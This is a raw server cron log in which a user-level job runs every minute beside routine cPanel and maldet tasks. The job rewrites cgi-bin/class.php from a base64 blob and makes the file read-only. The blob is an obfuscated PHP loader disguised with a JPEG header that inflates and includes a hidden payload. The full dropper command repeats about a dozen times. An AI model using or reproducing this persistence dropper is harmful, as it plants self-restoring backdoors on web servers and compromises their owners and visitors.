Nov 10 14:22:01 server CROND[7911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:23:01 server CROND[8816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:24:01 server CROND[9720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:25:01 server CROND[10361]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:25:01 server CROND[10362]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:25:01 server CROND[10364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:25:01 server CROND[10363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:26:01 server CROND[11274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:27:01 server CROND[12177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:27:01 server CROND[12178]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 14:28:01 server CROND[12936]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:29:01 server CROND[13752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:30:01 server CROND[14567]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 14:30:01 server CROND[14568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 14:30:01 server CROND[14570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:30:01 server CROND[14569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:31:01 server CROND[15461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:32:01 server CROND[16215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:33:01 server CROND[16972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:34:01 server CROND[17793]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 14:35:01 server CROND[18668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 14:35:01 server CROND[18670]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
